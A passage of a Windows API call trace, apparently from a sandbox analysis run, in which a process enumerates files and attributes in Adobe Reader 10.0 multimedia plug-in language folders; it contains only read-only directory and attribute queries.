	[0054.492] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUS\\WindowsMedia.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_rus\\windowsmedia.rus"), fInfoLevelId=0x0, lpFileInformation=0x1283eeb8 | out: lpFileInformation=0x1283eeb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00)) returned 1
	[0054.492] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_sky"), fInfoLevelId=0x0, lpFileInformation=0x1283ef08 | out: lpFileInformation=0x1283ef08*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d807c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0054.493] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_sky"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.493] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SKY\\*", lpFindFileData=0x1251b7ec | out: lpFindFileData=0x1251b7ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d807c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.493] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d807c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0054.493] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.SKY", cAlternateFileName="")) returned 1
	[0054.493] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mcimpp.SKY", cAlternateFileName="")) returned 1
	[0054.493] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuickTime.SKY", cAlternateFileName="QUICKT~1.SKY")) returned 1
	[0054.493] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.SKY", cAlternateFileName="WINDOW~1.SKY")) returned 1
	[0054.493] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0054.493] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0054.493] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SKY\\Flash.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_sky\\flash.sky"), fInfoLevelId=0x0, lpFileInformation=0x1283f098 | out: lpFileInformation=0x1283f098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00)) returned 1
	[0054.494] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SKY\\Mcimpp.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_sky\\mcimpp.sky"), fInfoLevelId=0x0, lpFileInformation=0x1283f0e8 | out: lpFileInformation=0x1283f0e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1
	[0054.494] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SKY\\QuickTime.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_sky\\quicktime.sky"), fInfoLevelId=0x0, lpFileInformation=0x1283f138 | out: lpFileInformation=0x1283f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00)) returned 1
	[0054.494] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SKY\\WindowsMedia.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_sky\\windowsmedia.sky"), fInfoLevelId=0x0, lpFileInformation=0x1283f188 | out: lpFileInformation=0x1283f188*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00)) returned 1
	[0054.494] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_slv"), fInfoLevelId=0x0, lpFileInformation=0x1283f1d8 | out: lpFileInformation=0x1283f1d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d807c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0054.495] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_slv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.495] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SLV\\*", lpFindFileData=0x1251b7ec | out: lpFindFileData=0x1251b7ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d807c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.495] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d807c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0054.495] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.SLV", cAlternateFileName="")) returned 1
	[0054.495] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="MCIMPP.SLV", cAlternateFileName="")) returned 1
	[0054.495] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuickTime.SLV", cAlternateFileName="QUICKT~1.SLV")) returned 1
	[0054.495] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.SLV", cAlternateFileName="WINDOW~1.SLV")) returned 1
	[0054.495] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0054.495] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0054.495] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SLV\\Flash.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_slv\\flash.slv"), fInfoLevelId=0x0, lpFileInformation=0x1283f368 | out: lpFileInformation=0x1283f368*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00)) returned 1
	[0054.496] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SLV\\MCIMPP.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_slv\\mcimpp.slv"), fInfoLevelId=0x0, lpFileInformation=0x1283f3b8 | out: lpFileInformation=0x1283f3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1
	[0054.496] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SLV\\QuickTime.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_slv\\quicktime.slv"), fInfoLevelId=0x0, lpFileInformation=0x1283f408 | out: lpFileInformation=0x1283f408*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00)) returned 1
	[0054.496] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SLV\\WindowsMedia.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_slv\\windowsmedia.slv"), fInfoLevelId=0x0, lpFileInformation=0x1283f458 | out: lpFileInformation=0x1283f458*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00)) returned 1
	[0054.496] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_tur"), fInfoLevelId=0x0, lpFileInformation=0x1283f4a8 | out: lpFileInformation=0x1283f4a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d7e1b00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0054.497] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_tur"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.497] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_TUR\\*", lpFindFileData=0x1251b7ec | out: lpFindFileData=0x1251b7ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d7e1b00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.497] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d7e1b00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0054.497] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.TUR", cAlternateFileName="")) returned 1
	[0054.497] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MCIMPP.TUR", cAlternateFileName="")) returned 1
	[0054.497] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuickTime.TUR", cAlternateFileName="QUICKT~1.TUR")) returned 1
	[0054.497] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.TUR", cAlternateFileName="WINDOW~1.TUR")) returned 1
	[0054.497] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0054.497] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0054.497] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_TUR\\Flash.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_tur\\flash.tur"), fInfoLevelId=0x0, lpFileInformation=0x1283f688 | out: lpFileInformation=0x1283f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00)) returned 1
	[0054.498] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_TUR\\MCIMPP.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_tur\\mcimpp.tur"), fInfoLevelId=0x0, lpFileInformation=0x1283f6d8 | out: lpFileInformation=0x1283f6d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00)) returned 1
	[0054.498] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_TUR\\QuickTime.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_tur\\quicktime.tur"), fInfoLevelId=0x0, lpFileInformation=0x1283f728 | out: lpFileInformation=0x1283f728*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00)) returned 1
	[0054.498] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_TUR\\WindowsMedia.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_tur\\windowsmedia.tur"), fInfoLevelId=0x0, lpFileInformation=0x1283f778 | out: lpFileInformation=0x1283f778*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00)) returned 1
	[0054.498] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_ukr"), fInfoLevelId=0x0, lpFileInformation=0x1283f7c8 | out: lpFileInformation=0x1283f7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d7e1b00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0054.498] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_ukr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
